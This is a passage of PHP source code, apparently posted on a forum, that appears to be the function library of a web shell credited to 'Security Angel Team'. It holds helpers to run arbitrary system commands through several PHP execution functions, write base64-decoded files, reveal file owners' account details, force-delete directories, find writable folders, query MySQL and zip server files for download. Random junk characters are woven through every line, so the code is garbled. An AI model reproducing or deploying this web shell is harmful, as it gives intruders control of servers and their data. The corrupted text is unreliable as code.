  1318.         <span style="float:right;"><?php debuginfo();ob_end_flush();?></span>
    1 u6 s, O- Z; |3 Y2 p/ A3 `
  1319.         Copyright (C) 2004-2008 <a href="http://www.4ngel.net" target="_blank">Security Angel Team [S4T]</a> All Rights Reserved.
    . \7 w5 `3 G. d, t5 O' ~
  1320. </div>6 G$ A/ u, S( [, c& U8 \0 |
  1321. </body>( `4 t) D9 m( J+ }
  1322. </html>
    & \3 r( ], w3 r0 C+ F

  1323. / M3 O0 [0 i8 {2 s" I) i
  1324. <?php1 b" z0 f# [* u( r  G! p
  1325. 7 G$ \5 s$ U& a' v$ `
  1326. /*======================================================6 ?* k0 Z8 ]+ |! y
  1327. 函数库( A2 \9 Z$ {& s' ?4 W  Y, R4 d
  1328. ======================================================*/( f7 j- B- v: b% \0 K' J% m9 w, [
  1329. & s- z* D  G, |0 G
  1330. function m($msg) {
    - u9 |  q2 c3 q/ a
  1331.         echo '<div style="background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:center;font-weight:bold;">';
    2 |# m9 P  s. P& {, J# l
  1332.         echo $msg;
    # O. W- J: m/ L1 M' I. J
  1333.         echo '</div>';
    ) I8 A7 j7 N: q) p* }4 p
  1334. }
    0 f: L/ H1 B- R
  1335. function scookie($key, $value, $life = 0, $prefix = 1) {
    $ q. R4 |, b0 R5 s9 s
  1336.         global $admin, $timestamp, $_SERVER;
    1 B5 J8 n: S% a0 K: B
  1337.         $key = ($prefix ? $admin['cookiepre'] : '').$key;
    0 n% @: f! `5 Z; W
  1338.         $life = $life ? $life : $admin['cookielife'];
    6 j. N8 u: G3 @4 C5 E
  1339.         $useport = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0;
    4 Q0 m5 s) n1 F8 M
  1340.         setcookie($key, $value, $timestamp+$life, $admin['cookiepath'], $admin['cookiedomain'], $useport);  j8 E$ g7 S9 Y) P9 i
  1341. }        / a# ~* s6 {. G+ g7 M9 t( e9 L# u
  1342. function multi($num, $perpage, $curpage, $tablename) {
    / B) }5 T+ v0 g  d2 @$ K: i0 l
  1343.         $multipage = '';5 ]& ^6 y8 q- y( q+ ~
  1344.         if($num > $perpage) {
    * D! a: L' U7 f( I1 W
  1345.                 $page = 10;
    3 b' j1 |% W8 S& K# c
  1346.                 $offset = 5;
    ) m% D$ M% k, T3 R* |, Z
  1347.                 $pages = @ceil($num / $perpage);
    4 `/ w8 s1 u0 B5 h
  1348.                 if($page > $pages) {( @  ^+ p# w% b* l
  1349.                         $from = 1;
    # S1 a9 h4 b$ w" @& x6 g  a3 a& E
  1350.                         $to = $pages;# a8 X8 m& \0 z0 v: }
  1351.                 } else {$ y. `6 Z  I- v2 m4 q( T/ {$ `" T
  1352.                         $from = $curpage - $offset;
    8 I! h: _( w- p8 N# Q+ W
  1353.                         $to = $curpage + $page - $offset - 1;8 g) Z; T' k0 g  S9 C  I
  1354.                         if($from < 1) {
    . p9 V8 p2 c; n5 j( B7 v- l
  1355.                                 $to = $curpage + 1 - $from;
    - l9 o( L, S$ ~2 V9 M4 Y
  1356.                                 $from = 1;, E# z! A8 ^+ {
  1357.                                 if(($to - $from) < $page && ($to - $from) < $pages) {5 W  U" R5 C" E' o. v; F* c, A
  1358.                                         $to = $page;
    0 p) D! u# E6 H. Q/ P6 {" k
  1359.                                 }
    ' @9 U3 [+ w. n6 P
  1360.                         } elseif($to > $pages) {% h1 T9 p' \9 u
  1361.                                 $from = $curpage - $pages + $to;
    * n0 Y" n9 l% G! w- F5 Z
  1362.                                 $to = $pages;
    1 ^! h8 ^% L: u( [- X2 e
  1363.                                 if(($to - $from) < $page && ($to - $from) < $pages) {" ?5 V0 L* a, Y& I$ [# n% t
  1364.                                         $from = $pages - $page + 1;
    & i& |4 C( \  E+ u6 W$ t6 K
  1365.                                 }: u' b3 H* a: U
  1366.                         }9 L+ N) Q9 V3 J. x3 n
  1367.                 }0 {  N; v  X9 ~9 x( A7 D  s0 O
  1368.                 $multipage = ($curpage - $offset > 1 && $pages > $page ? '<a href="javascript:settable(\''.$tablename.'\', \'\', 1);">First</a> ' : '').($curpage > 1 ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage - 1).');">Prev</a> ' : '');* Z9 v* [9 m/ P$ i3 `
  1369.                 for($i = $from; $i <= $to; $i++) {
    4 H1 K: c% z* y9 M3 e% a+ \- b
  1370.                         $multipage .= $i == $curpage ? $i.' ' : '<a href="javascript:settable(\''.$tablename.'\', \'\', '.$i.');">['.$i.']</a> ';3 `" J1 U  C# z+ f' x/ n- |
  1371.                 }: V2 n+ e. m8 [2 C" x
  1372.                 $multipage .= ($curpage < $pages ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage + 1).');">Next</a>' : '').($to < $pages ? ' <a href="javascript:settable(\''.$tablename.'\', \'\', '.$pages.');">Last</a>' : '');4 y/ |- M8 h5 A: M  e
  1373.                 $multipage = $multipage ? '<p>Pages: '.$multipage.'</p>' : '';. t2 r  h! w8 Z! h% g; j# K
  1374.         }% W* V- h! x. F* y$ j
  1375.         return $multipage;
    ' S+ j) g+ V8 r  M9 U; c( _
  1376. }
    4 F% q& _0 P2 F
  1377. // 登陆入口+ h- `- X/ ?1 }
  1378. function loginpage() {+ q, ?/ [# U( q' i6 C, g. C- T
  1379. ?>' W; a& z! |, k( c! G7 u! J
  1380.         <style type="text/css">
    - s4 \7 w" s; s; I& p) t
  1381.         input {font:11px Verdana;BACKGROUND: #FFFFFF;height: 18px;border: 1px solid #666666;}2 I& F* J  N, V& y7 a
  1382.         </style>
    " z4 a  M( v2 E# T
  1383.         <form method="POST" action="">
    % b$ M4 T& ^* g/ z3 N. q# r: F5 k
  1384.         <span style="font:11px Verdana;">Password: </span><input name="password" type="password" size="20">
    0 U2 x( }) @" X, d/ C) o- t5 U( N
  1385.         <input type="hidden" name="doing" value="login">3 O& m5 N- S' O' v  }4 `
  1386.         <input type="submit" value="Login">! A" J2 f! W& L/ `5 A) p
  1387.         </form>7 ~2 R0 g" N$ Q, F
  1388. <?php$ S- m0 L' w6 k9 G
  1389.         exit;
    ' Z4 X% ~6 q9 a3 X
  1390. }//end loginpage()+ Y6 c5 M. b( ^
  1391. & T" O$ B- `2 J! r  h( F
  1392. function execute($cfe) {
    ) W9 X  b. S7 ?7 q8 ]+ o
  1393.         $res = '';# u/ l6 _3 v- A3 D' E, {4 a# d
  1394.         if ($cfe) {6 Q9 H7 L, q0 A  T. H- f
  1395.                 if(function_exists('exec')) {) e7 q% H, @6 A
  1396.                         @exec($cfe,$res);( [5 b% i1 f6 i8 {
  1397.                         $res = join("\n",$res);
    - ?% ^/ d8 h  W# N7 z
  1398.                 } elseif(function_exists('shell_exec')) {
    8 r3 _7 d* l1 L2 N, ^; U
  1399.                         $res = @shell_exec($cfe);+ g1 A4 d- T) `6 [
  1400.                 } elseif(function_exists('system')) {) D% \3 E/ G, D; n7 L
  1401.                         @ob_start();& X5 `; W8 ~+ W
  1402.                         @system($cfe);: y5 }0 r; j, b
  1403.                         $res = @ob_get_contents();
      n5 Y5 \! R/ Q8 }( ]( R! E
  1404.                         @ob_end_clean();
    & K( ]0 S2 X# w2 }
  1405.                 } elseif(function_exists('passthru')) {3 o- ?/ k5 L/ a0 R4 ?
  1406.                         @ob_start();
    6 |# {* u, D5 j# u
  1407.                         @passthru($cfe);4 `5 X& O' h- `, R
  1408.                         $res = @ob_get_contents();
    * |" k$ O% F: z. `7 p2 {6 s7 u
  1409.                         @ob_end_clean();6 A+ y% p" I' i2 y+ f/ D' D; R
  1410.                 } elseif(@is_resource($f = @popen($cfe,"r"))) {0 K$ {# L& `; K8 p
  1411.                         $res = '';7 c# Q$ V. h, i' L& V0 U5 {* S
  1412.                         while(!@feof($f)) {
    ; n: B% g( I3 A! K4 p
  1413.                                 $res .= @fread($f,1024); 3 L) {- ?: q  o
  1414.                         }
    * k2 Y+ d: f4 `# c& V
  1415.                         @pclose($f);6 p) v' v1 f/ P; x
  1416.                 }
    ; E1 W8 r% k: b0 o. N6 n% O, W
  1417.         }
    $ ]* G) n7 M6 n/ q$ P0 @
  1418.         return $res;, ?  {3 @% M+ Q9 g
  1419. }( p* X  z: X9 q# z: N- h
  1420. function which($pr) {/ n1 b# z8 |5 `. o7 D( e0 G3 W& o* @
  1421.         $path = execute("which $pr");
    - W5 p/ h, ]3 t7 u
  1422.         return ($path ? $path : $pr);
    1 O7 E; R$ A) Z" }. M7 [& t
  1423. }
    5 b& C0 q9 |" Z2 k) n9 C

  1424. . g  S" Z; l' \# E  r+ D3 ]
  1425. function cf($fname,$text){7 B  Q; q+ i/ g3 K. b
  1426.         if($fp=@fopen($fname,'w')) {
    2 g, K8 {& V) G" ?/ e
  1427.                 @fputs($fp,@base64_decode($text));
    + p' j  c/ {4 d$ h; ~0 }
  1428.                 @fclose($fp);
    & l, x" R* W4 I, J5 H! E
  1429.         }
    6 u( H/ ~# v; z; Z$ g/ Y! y
  1430. }4 K: Q3 v& @; x# X6 w# l6 K

  1431. % u& X# J0 j$ U& S1 r
  1432. // 页面调试信息. r3 B( ]2 ^0 }. |% V8 W
  1433. function debuginfo() {2 {6 r, @6 y2 `4 `/ R
  1434.         global $starttime;
    * R& |. m/ ^5 r( w6 o% R
  1435.         $mtime = explode(' ', microtime());
    2 @9 B$ W( g' }. Q; ?
  1436.         $totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6);( f, f# k% i! k
  1437.         echo 'Processed in '.$totaltime.' second(s)';
    6 ^. S2 s7 p- v+ F3 c. {
  1438. }
    : u! ~5 N8 E! [/ ^! c

  1439. 2 e. Y7 Y( u4 b3 R5 P
  1440. //连接数据库
    - H4 Y+ b: @5 V: t3 u
  1441. function dbconn($dbhost,$dbuser,$dbpass,$dbname='',$charset='',$dbport='3306') {
    7 G3 P+ k) B+ I; H8 ?
  1442.         if(!$link = @mysql_connect($dbhost.':'.$dbport, $dbuser, $dbpass)) {: _3 @2 ~- \) J3 e2 [4 `3 N* |
  1443.                 p('<h2>Can not connect to MySQL server</h2>');, z$ a/ s( N- B; P/ G
  1444.                 exit;% w5 v! m7 H) g) O6 b# t# m$ g& X4 O
  1445.         }
    2 I1 O* E8 y1 k  b) R
  1446.         if($link && $dbname) {7 K+ d* N3 w+ j4 X7 _6 v% W6 W
  1447.                 if (!@mysql_select_db($dbname, $link)) {# g% a6 f" ^$ [3 r  P
  1448.                         p('<h2>Database selected has error</h2>');
    * k( t3 M3 F9 y* j2 G# k: r3 p  ]# F' b
  1449.                         exit;
    9 I) E1 k" D6 {6 Q- o9 l7 c
  1450.                 }9 M/ v  a- f$ d" R
  1451.         }
    1 r- Z' U2 l  Q/ y; @, P( m
  1452.         if($link && mysql_get_server_info() > '4.1') {
    % O4 ~( s& x$ d) _1 C
  1453.                 if(in_array(strtolower($charset), array('gbk', 'big5', 'utf8'))) {
    1 _! V  F. {! K+ d# b/ W
  1454.                         q("SET character_set_connection=$charset, character_set_results=$charset, character_set_client=binary;", $link);* k6 p" R8 X+ a5 \& J
  1455.                 }
    9 S8 z1 l) i, A$ N# n- t
  1456.         }
    1 T7 X" i- p% o6 V5 ^
  1457.         return $link;5 `  Q9 E1 E9 Y! @: P
  1458. }
    - m( v1 Y4 w. b- E
  1459. ! D& R+ g  c3 O$ e) m
  1460. // 去掉转义字符1 [: ]/ n6 K4 z9 @  {+ {
  1461. function s_array(&$array) {
    6 h. D; P' J) u6 j3 B
  1462.         if (is_array($array)) {
    6 ~. m+ M. E! ]& Q1 o2 ]& e
  1463.                 foreach ($array as $k => $v) {# @8 B, x! q, b0 U
  1464.                         $array[$k] = s_array($v);% z$ z5 H+ X1 D, _1 s- A* a
  1465.                 }8 M8 j+ {  n  h. i4 {
  1466.         } else if (is_string($array)) {+ C+ r7 D2 k8 _) l4 n, b8 w
  1467.                 $array = stripslashes($array);1 d+ \; u9 R3 `$ c5 s; j1 c
  1468.         }
    $ s3 h' x' p- p" k" b+ }
  1469.         return $array;
      _2 W% v( Z. }! |* P! k
  1470. }2 q4 G5 H/ J1 @2 p& b6 K9 H

  1471. . y$ w! v" `: O  e
  1472. // 清除HTML代码
    ! ~& f# i. D4 ]. U3 l( L
  1473. function html_clean($content) {
    . y0 p. k  `! l& m6 T5 \0 B3 g
  1474.         $content = htmlspecialchars($content);
    3 @7 j# u6 o. A$ b6 p6 [4 Z5 c: R
  1475.         $content = str_replace("\n", "<br />", $content);# Q7 y/ p7 d2 m" A
  1476.         $content = str_replace("  ", "  ", $content);
    ) z" k; `- W, H
  1477.         $content = str_replace("\t", "    ", $content);
    ( K4 L; P* E+ V$ A: R+ }" C4 D
  1478.         return $content;
    ) O  ]" U8 F$ I
  1479. }
    $ V  v5 L$ V7 b0 i: `* ?# l) p

  1480.   u9 }* F4 v2 w: u* N- Y, ^
  1481. // 获取权限" F% m* T8 J: s) a5 x+ i) P" J
  1482. function getChmod($filepath){
    5 W" l/ `2 U! M" E/ }! m4 u
  1483.         return substr(base_convert(@fileperms($filepath),10,8),-4);! l# \8 D7 e' C
  1484. }
    0 |+ B, s; B/ G. Q7 H8 g/ @
  1485. , A! F! A; G4 _- S
  1486. function getPerms($filepath) {
    ! T! p% @1 ^. I$ L$ e6 l8 K: D
  1487.         $mode = @fileperms($filepath);
    + m9 k* k: ?4 e0 ~$ B
  1488.         if (($mode & 0xC000) === 0xC000) {$type = 's';}
    / O1 ~4 }# H$ L1 E& X
  1489.         elseif (($mode & 0x4000) === 0x4000) {$type = 'd';}7 x0 k- z% {; f
  1490.         elseif (($mode & 0xA000) === 0xA000) {$type = 'l';}9 C. ~0 @, [% r4 E% N
  1491.         elseif (($mode & 0x8000) === 0x8000) {$type = '-';}
    % h, Y% W3 W  J' o0 b- ]" m6 N8 H
  1492.         elseif (($mode & 0x6000) === 0x6000) {$type = 'b';}
    ; {( G- N+ w2 C5 V, A3 ^* R
  1493.         elseif (($mode & 0x2000) === 0x2000) {$type = 'c';}
    ' \  X9 f$ \) R7 }
  1494.         elseif (($mode & 0x1000) === 0x1000) {$type = 'p';}8 d4 I' L+ Y, B% V* w
  1495.         else {$type = '?';}, R. \! L1 n) w

  1496. 6 R, J7 K% x8 l
  1497.         $owner['read'] = ($mode & 00400) ? 'r' : '-';
    # S" }! M2 P5 d
  1498.         $owner['write'] = ($mode & 00200) ? 'w' : '-';
    ! z8 I% f( P0 b/ p
  1499.         $owner['execute'] = ($mode & 00100) ? 'x' : '-'; * \0 g+ H/ {% ?( V( {, \
  1500.         $group['read'] = ($mode & 00040) ? 'r' : '-';
    4 N5 @) c( X9 p0 a
  1501.         $group['write'] = ($mode & 00020) ? 'w' : '-'; # H$ f9 m6 q5 x
  1502.         $group['execute'] = ($mode & 00010) ? 'x' : '-'; / m* e# M/ M2 w" T$ A) J
  1503.         $world['read'] = ($mode & 00004) ? 'r' : '-';
    2 }" x5 ]- f6 d" n
  1504.         $world['write'] = ($mode & 00002) ? 'w' : '-';
    ) o8 s, u8 E+ T' p9 F, k2 ?- g
  1505.         $world['execute'] = ($mode & 00001) ? 'x' : '-'; ) m: x- K( K4 L& c7 B

  1506. - s  H- |: s. H9 K$ F) V0 J$ ^
  1507.         if( $mode & 0x800 ) {$owner['execute'] = ($owner['execute']=='x') ? 's' : 'S';}
    # p* g: V+ M3 ^! z0 d& S7 z# r
  1508.         if( $mode & 0x400 ) {$group['execute'] = ($group['execute']=='x') ? 's' : 'S';}
    3 L2 [3 x, ~  l- p5 f# b
  1509.         if( $mode & 0x200 ) {$world['execute'] = ($world['execute']=='x') ? 't' : 'T';}- v: z* S& \# O+ {3 X3 G
  1510. 4 d$ h! Y2 B$ |: x+ a5 g
  1511.         return $type.$owner['read'].$owner['write'].$owner['execute'].$group['read'].$group['write'].$group['execute'].$world['read'].$world['write'].$world['execute'];
    # |! r% ]3 j8 d  m/ K
  1512. }: i! ~% g0 r4 A* K4 w

  1513. . K' A7 E5 w3 Q- `
  1514. function getUser($filepath)        {% @) p& k9 h8 F6 h) ?/ z' g' _
  1515.         if (function_exists('posix_getpwuid')) {
    5 Z  S1 g4 P6 R" u) V8 X) t
  1516.                 $array = @posix_getpwuid(@fileowner($filepath));
    / o! B' t, a  K) z0 q1 t
  1517.                 if ($array && is_array($array)) {8 R. E$ r  V, k- o! X+ Z' F2 F
  1518.                         return ' / <a href="#" title="User: '.$array['name'].'
    7 U0 M0 V! l4 s/ E" G
  1519. Passwd: '.$array['passwd'].'$ O0 ~4 y) \* A5 Y5 Y% Q: U
  1520. Uid: '.$array['uid'].'$ j6 [& \5 N  {
  1521. gid: '.$array['gid'].'
    + v  k* M: _7 v
  1522. Gecos: '.$array['gecos'].'
    / T& I/ _$ l5 Q$ V' M; q
  1523. Dir: '.$array['dir'].'
    * R: j4 [) E8 g* x
  1524. Shell: '.$array['shell'].'">'.$array['name'].'</a>';
      u7 b+ |0 _. q- x1 p+ l! N
  1525.                 }
    ) ]3 E8 ~, Z* U/ O5 P
  1526.         }
    6 g+ ]6 U" C5 K8 N7 w, l' p" z
  1527.         return '';0 d, A; J$ r  j  t: v+ Q
  1528. }
    $ J1 A% V" K! O, C8 ]2 c: i
  1529. 3 E3 g) R, z2 B+ y$ i$ N6 {
  1530. // 删除目录
    + [7 O2 K' Z6 V
  1531. function deltree($deldir) {. {6 P" C% L! q- ^/ I
  1532.         $mydir=@dir($deldir);        / [  G4 {2 m& k, W
  1533.         while($file=$mydir->read())        {                
    7 k) `8 ]6 I" n' u3 I1 l
  1534.                 if((is_dir($deldir.'/'.$file)) && ($file!='.') && ($file!='..')) {
    ) O+ u4 l$ \' `$ X( c
  1535.                         @chmod($deldir.'/'.$file,0777);, D* }0 H8 ^! W* X: f. U# H9 }6 ~
  1536.                         deltree($deldir.'/'.$file); 8 B* k. v/ }) U  k
  1537.                 }
    * K9 G1 b( s' K% X. J# w
  1538.                 if (is_file($deldir.'/'.$file)) {
    * q) U/ H* o, t# R
  1539.                         @chmod($deldir.'/'.$file,0777);! R/ |6 F! K# W5 d
  1540.                         @unlink($deldir.'/'.$file);
    * E" g# {- N: Q- e
  1541.                 }0 O8 H% m* o% x
  1542.         } . m, [# f+ [) x; @; K4 R
  1543.         $mydir->close(); 9 y* q! t7 b' ]
  1544.         @chmod($deldir,0777);! C. n+ M' y  m! S1 T
  1545.         return @rmdir($deldir) ? 1 : 0;
    + ^; r" J7 x& `( f; u5 ]  b
  1546. }# L3 Y% w" Y! o9 U! P
  1547. 9 q# `* g8 m8 g; h6 }
  1548. // 表格行间的背景色替换
    , s! K9 m4 h5 V5 A: K, y, H' \
  1549. function bg() {
    : R$ Z5 G& T( `+ @. j, o' `3 p
  1550.         global $bgc;
    7 _6 N# Y) l4 ], j4 b; u  R6 k1 ^8 H8 v
  1551.         return ($bgc++%2==0) ? 'alt1' : 'alt2';) i# U' V0 T8 G$ C7 A& o) ]* ~
  1552. }4 z9 z* e, K9 [) i# e

  1553. + ]6 ?: s* n# I3 @
  1554. // 获取当前的文件系统路径9 ^, ^* s1 z- m4 d# ]9 s! l
  1555. function getPath($scriptpath, $nowpath) {
    0 X) C7 p1 O+ ~5 Z
  1556.         if ($nowpath == '.') {, ?  u3 c0 p. h0 ^! j5 o6 r
  1557.                 $nowpath = $scriptpath;
    $ a5 E8 K9 p  M' {
  1558.         }
    4 z# v7 f7 N( a* V( |, m4 @& R" G
  1559.         $nowpath = str_replace('\\', '/', $nowpath);
    2 `4 d5 l6 c! p2 I3 A
  1560.         $nowpath = str_replace('//', '/', $nowpath);
    3 N3 M0 X6 \+ N! B0 u+ Q3 _4 N
  1561.         if (substr($nowpath, -1) != '/') {8 C0 x: X, @" P: V
  1562.                 $nowpath = $nowpath.'/';2 a* t7 T/ L5 b- F
  1563.         }
    % Z5 G% M; ]5 {' B. c
  1564.         return $nowpath;4 l+ E* J1 Z$ y
  1565. }
    # U0 l% u+ X0 e4 j9 w

  1566. & k, M/ N' I+ Q* v. Q( G$ ]
  1567. // 获取当前目录的上级目录  A+ u' x# D+ ~/ f# k9 j, ]
  1568. function getUpPath($nowpath) {
    + n% E- n* j( B" J9 R1 P- p! x
  1569.         $pathdb = explode('/', $nowpath);9 b0 ~5 U( {$ H  z9 H
  1570.         $num = count($pathdb);
    $ a8 I7 [8 ~5 Y
  1571.         if ($num > 2) {$ }; n% H$ E. ?+ K
  1572.                 unset($pathdb[$num-1],$pathdb[$num-2]);7 P* O: T* j5 }# D  \
  1573.         }
    3 K3 g/ w( _# y3 X5 H+ ^* q
  1574.         $uppath = implode('/', $pathdb).'/';
    0 i* J' `. c! a! k, y* j
  1575.         $uppath = str_replace('//', '/', $uppath);! G0 g0 ]8 J3 Z# L; [
  1576.         return $uppath;
    : l8 v# v. o4 b7 ]
  1577. }  g  J' o+ h: y

  1578. ( l& `% s$ X7 Y0 m
  1579. // 检查PHP配置参数  A* P( _% Z1 [
  1580. function getcfg($varname) {
    " W- {0 n% @/ J9 C! ^
  1581.         $result = get_cfg_var($varname);
    6 }2 {0 F! @3 l+ D6 J3 K
  1582.         if ($result == 0) {
    - o) c$ B8 m/ e' V8 G( `# _* D6 W
  1583.                 return 'No';7 c9 k8 ]' M9 W8 s! X: z- Y/ m6 I
  1584.         } elseif ($result == 1) {( F5 l1 W4 D. u% C) y( i/ M
  1585.                 return 'Yes';/ x# k" l' \* }0 o
  1586.         } else {
    % Y/ _/ B3 Q) j
  1587.                 return $result;& a5 R2 F# v, ~1 H& Y1 ~2 n
  1588.         }' L4 L1 D$ C7 b+ J% x
  1589. }
    : c1 H2 K; U7 }
  1590. 9 {, q  L8 I9 ]- D% l% l5 V/ s
  1591. // 检查函数情况- ?* R4 N; ?' D: r
  1592. function getfun($funName) {
      Z7 A3 J% Z/ o8 U
  1593.         return (false !== function_exists($funName)) ? 'Yes' : 'No';
    : V; i% W0 M7 `  B* d+ Z" G' N
  1594. }
    ' c, A1 K1 `9 |& J% ]7 E/ P

  1595. 7 V# P! S7 W% B$ T- {$ u
  1596. function GetList($dir){3 O7 p; e/ h; q: G& C
  1597.         global $dirdata,$j,$nowpath;+ F6 e/ F$ x) G6 ^8 A' f8 J9 _! a# o
  1598.         !$j && $j=1;
      H. ?; {5 ]7 }
  1599.         if ($dh = opendir($dir)) {+ E& f; q1 g' m! X
  1600.                 while ($file = readdir($dh)) {
    5 v; j8 N- q6 K4 z
  1601.                         $f=str_replace('//','/',$dir.'/'.$file);5 G0 p4 l$ i& s+ ]* ^. e
  1602.                         if($file!='.' && $file!='..' && is_dir($f)){0 t; S: ~2 n2 ~3 p' H( Y$ P+ a
  1603.                                 if (is_writable($f)) {
    % B  c# f, c6 M, l; M9 Q* w0 \* ~6 Q- y
  1604.                                         $dirdata[$j]['filename']=str_replace($nowpath,'',$f);
    6 D) a( e; N6 b
  1605.                                         $dirdata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f));: B7 k. W' R; J, V9 b: G7 X8 n
  1606.                                         $dirdata[$j]['dirchmod']=getChmod($f);( T, ]0 s: {/ T3 ?  z- t5 o
  1607.                                         $dirdata[$j]['dirperm']=getPerms($f);6 N8 G% d5 |' T8 S" [
  1608.                                         $dirdata[$j]['dirlink']=ue($dir);1 G1 u' I( \9 q- v/ l, O: Q0 Q2 u
  1609.                                         $dirdata[$j]['server_link']=$f;; V$ L8 p' |% S6 U, j
  1610.                                         $dirdata[$j]['client_link']=ue($f);
    8 ~, m4 ^. l% {/ q
  1611.                                         $j++;. H& A8 l8 |* x) v
  1612.                                 }
    3 W! L) ]9 j+ ?7 u& j! J4 c/ b: ]
  1613.                                 GetList($f);" f1 n0 z& F! l8 P" {& c
  1614.                         }
    . I) o/ o/ Y3 {1 j9 B7 c
  1615.                 }! h+ M3 H8 [( T/ d8 ^7 `
  1616.                 closedir($dh);8 v1 P) t* p& y; J
  1617.                 clearstatcache();
    4 w7 D6 g- D3 I- V& |$ N7 ]
  1618.                 return $dirdata;# z/ Q- J9 w4 b" d
  1619.         } else {3 E9 v5 D9 c( k" m: n1 v. ]" M
  1620.                 return array();" k& t8 i) P* k, b7 r
  1621.         }
    % G" ]- C0 y; d! Z% P8 H
  1622. }
    ' w# i9 ?; m! e% V+ Z

  1623. ' M0 E2 C, Z) w
  1624. function qy($sql) {
    3 e) B. @3 K. U, f: c
  1625.         //echo $sql.'<br>';" i. r9 ]( z' E/ p- c- y
  1626.         $res = $error = '';
    " [- G4 a7 X, j
  1627.         if(!$res = @mysql_query($sql)) { " }6 v! {; A9 w: r7 U
  1628.                 return 0;5 O, P4 S6 T3 c% q! }$ T' ?/ v7 t
  1629.         } else if(is_resource($res)) {
    ( h9 }0 {; d+ V9 c4 ~
  1630.                 return 1; 0 |3 m0 J! q6 X/ U
  1631.         } else {
    * f6 y9 e2 X" Q. |
  1632.                 return 2;+ k& ?4 x$ I% F  y4 M5 L8 C
  1633.         }        / Y: S. U* l. |* Y9 @# C/ p: ]7 L
  1634.         return 0;
    5 r4 M2 A) H+ a- {
  1635. }) U& B$ _) w) O1 l$ K

  1636. - {2 ]  J7 ^! W9 |
  1637. function q($sql) { $ [/ |0 g& B- t) K2 i# j; c
  1638.         return @mysql_query($sql);  S/ U6 j2 P: G8 I# v
  1639. }% ]4 ]% Q! k+ o$ d8 q1 M2 e
  1640. # V0 S, v9 |2 j
  1641. function fr($qy){0 `  m& d) H% Q2 r8 z/ j8 d
  1642.         mysql_free_result($qy);/ m! J5 P$ O  \3 ^8 @& f
  1643. }
    $ y5 Y8 ?* Z/ `* H2 e& w
  1644. 5 T' |+ |  G, _& f! F
  1645. function sizecount($size) {( |7 p0 G% S: S: b  k
  1646.         if($size > 1073741824) {
    ; f2 n9 J* [1 w
  1647.                 $size = round($size / 1073741824 * 100) / 100 . ' G';) Z: G/ g  E6 R- R
  1648.         } elseif($size > 1048576) {9 P- c: L( p4 q# W! M. \0 i
  1649.                 $size = round($size / 1048576 * 100) / 100 . ' M';7 A8 C, Z# e3 F2 m2 ~) O) x
  1650.         } elseif($size > 1024) {& u7 G6 T/ Y; T! o, \" F
  1651.                 $size = round($size / 1024 * 100) / 100 . ' K';8 }0 x8 ?/ p. ~* E) Y3 Z' m' y' Q
  1652.         } else {- U3 R% b2 s- `
  1653.                 $size = $size . ' B';: j9 R  V+ j+ d9 z" t* A
  1654.         }
    . v% W; z' i8 p. q1 m' d
  1655.         return $size;
    9 [; N8 \# I( q, i6 K% w& K5 ]" ~
  1656. }( t" X9 m; G$ a  @. c
  1657. 1 L  @  `6 m* u3 g
  1658. // 压缩打包类
    0 S* A) o; y3 D( ]
  1659. class PHPZip{
    0 H+ T7 `1 ~3 G& T' z: }
  1660.         var $out='';
    ; L  i% K2 s- ]+ m
  1661.         function PHPZip($dir)        {- j  t* W# e% N, Z" p, g7 d
  1662.                 if (@function_exists('gzcompress'))        {* O! r; R0 Y# s+ X$ ]9 S: S% n
  1663.                         $curdir = getcwd();
    & t' i3 }2 r+ q' Z; y' [; {( {
  1664.                         if (is_array($dir)) $filelist = $dir;
    5 L2 J/ x/ d; ]# t- S3 I
  1665.                         else{6 M* u( z' A6 Q( ]* L
  1666.                                 $filelist=$this -> GetFileList($dir);//文件列表$ }- S3 m6 L. Q% _% Y1 Y
  1667.                                 foreach($filelist as $k=>$v) $filelist[]=substr($v,strlen($dir)+1);3 D& k* P, y: _- _* Z7 ^
  1668.                         }6 v# T& R* Z' G( ~1 _0 j$ r; }1 O  R0 h( M
  1669.                         if ((!empty($dir))&&(!is_array($dir))&&(file_exists($dir))) chdir($dir);0 R8 {- O3 O# s1 _" n: c
  1670.                         else chdir($curdir);
      Q6 w0 C/ Z* F5 D6 O
  1671.                         if (count($filelist)>0){& _+ a/ ~/ P# M, s$ @# D
  1672.                                 foreach($filelist as $filename){8 H2 v: n) a" s- [4 x
  1673.                                         if (is_file($filename)){3 x$ T/ [0 I) ~* ?) g" j" X
  1674.                                                 $fd = fopen ($filename, 'r');9 D9 p. m0 s6 ]2 @5 s% Z5 O) i
  1675.                                                 $content = @fread ($fd, filesize($filename));  P( \2 I# Z+ |
  1676.                                                 fclose ($fd);
    ) ^+ w2 ?: [: m9 ^! ?- ]
  1677.                                                 if (is_array($dir)) $filename = basename($filename);
    - Z& q6 X. l$ G0 o: [
  1678.                                                 $this -> addFile($content, $filename);
    ( Y: ?0 @( E7 \- J9 K
  1679.                                         }. {8 S7 D( _+ Q5 W
  1680.                                 }
    / c" n5 v; g/ o5 h$ \2 _* A# f
  1681.                                 $this->out = $this -> file();
    - Z2 x8 k3 ^" Y; Q- E
  1682.                                 chdir($curdir);
    2 O6 R. D' I8 v1 m* a( U  g/ f; e
  1683.                         }
    4 [, F' n& p0 V
  1684.                         return 1;: H1 @( Q' i" y& S' O4 {/ S
  1685.                 }
    8 W4 U% i4 M" M6 e) D- [
  1686.                 else return 0;  c, n2 H, _: _" s
  1687.         }
    & l, i& \+ n9 n' @, _( O7 V
  1688. ) {% u  E9 W: q
  1689.         // 获得指定目录文件列表
    ' N! \4 F; t, a% E5 G4 l
  1690.         function GetFileList($dir){& v% p% S" _6 `* H3 u4 p
  1691.                 static $a;
    ( U- T+ O/ G- q% e$ ?7 V
  1692.                 if (is_dir($dir)) {- y5 k) w8 ~- r  v
  1693.                         if ($dh = opendir($dir)) {
    5 P. Z, u% D9 V) ?3 ~) K6 v
  1694.                                 while ($file = readdir($dh)) {2 i. U' g: X; M
  1695.                                         if($file!='.' && $file!='..'){
    9 Y/ D4 V6 e9 b* v3 }- j5 ?) u, U
  1696.                                                 $f=$dir .'/'. $file;
    " l) `( K4 E8 R; {
  1697.                                                 if(is_dir($f)) $this->GetFileList($f);9 u! }1 q: s+ W+ \7 K) V8 L$ h
  1698.                                                 $a[]=$f;5 }& y* U  ^# o- _7 s9 r$ o
